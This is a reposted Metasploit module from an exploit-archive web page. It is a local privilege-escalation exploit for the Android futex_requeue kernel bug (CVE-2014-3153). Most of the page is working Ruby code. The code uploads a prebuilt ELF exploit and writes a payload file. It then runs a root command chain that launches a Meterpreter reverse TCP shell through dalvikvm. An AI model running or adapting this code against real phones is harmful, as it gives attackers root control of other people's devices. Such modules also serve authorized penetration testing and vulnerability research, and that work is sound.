首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Android Futex Requeue Kernel Exploit
来源:metasploit.com 作者:timwr 发布时间:2015-02-10  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit4 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Common

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'Android futex requeue kernel exploit',
        'Description'   => %q{
            This module exploits a bug in futex_requeue in the linux kernel.
            Any android phone with a kernel built before June 2014 should be vulnerable. 
        },
        'License'       => MSF_LICENSE,
        'Author'        => [
            'Pinkie Pie', #discovery 
            'geohot', #towelroot
            'timwr' #metasploit module
        ],
        'References'    =>
        [
            [ 'CVE', '2014-3153' ],
            [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],
            [ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ],
        ],
        'SessionTypes'  => [ 'meterpreter' ],
        'Platform'       => 'android',
        'Targets'        => [[ 'Automatic', { }]],
        'Arch'           => ARCH_DALVIK,
        'DefaultOptions' =>
          {
            'PAYLOAD'  => 'android/meterpreter/reverse_tcp',
          },
        'DefaultTarget' => 0
      }
    ))

    register_options([
        OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]),
    ], self.class)
  end

  def put_local_file(remotefile)
    localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" )
    data = File.read(localfile, {:mode => 'rb'})
    write_file(remotefile, data)
  end

  def exploit
    workingdir = session.fs.dir.getwd
    exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
    payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"

    put_local_file(exploitfile)
    cmd_exec('/system/bin/chmod 700 ' + exploitfile)
    write_file(payloadfile, payload.raw)

    tmpdir = datastore['WritableDir']
    rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}"
    rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar"

    rootcmd = " mkdir #{rootclassdir} && "
    rootcmd += "cd #{rootclassdir} && "
    rootcmd += "cp " + payloadfile + " #{rootpayload} && "
    rootcmd += "chmod 766 #{rootpayload} && "
    rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload"
    
    process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true})
    process.channel.read
  end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WordPress WP EasyCart Unrestri
·LG DVR LE6016D - Unauthenticat
·Microsoft Internet Explorer Un
·Tiny Server 1.1.9 - Arbitrary
·MooPlayer 1.3.0 - m3u SEH Buff
·Achat 0.150 beta7 Buffer Overf
·Chemtool 1.6.14 - Memory Corru
·SoftSphere DefenseWall FW/IPS
·Windows tcpip.sys Arbitrary Wr
·SEANux 1.0 Remote Command Exec
·PHP DateTime Use After Free Vu
·Shuttle Tech ADSL Modem-Router
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved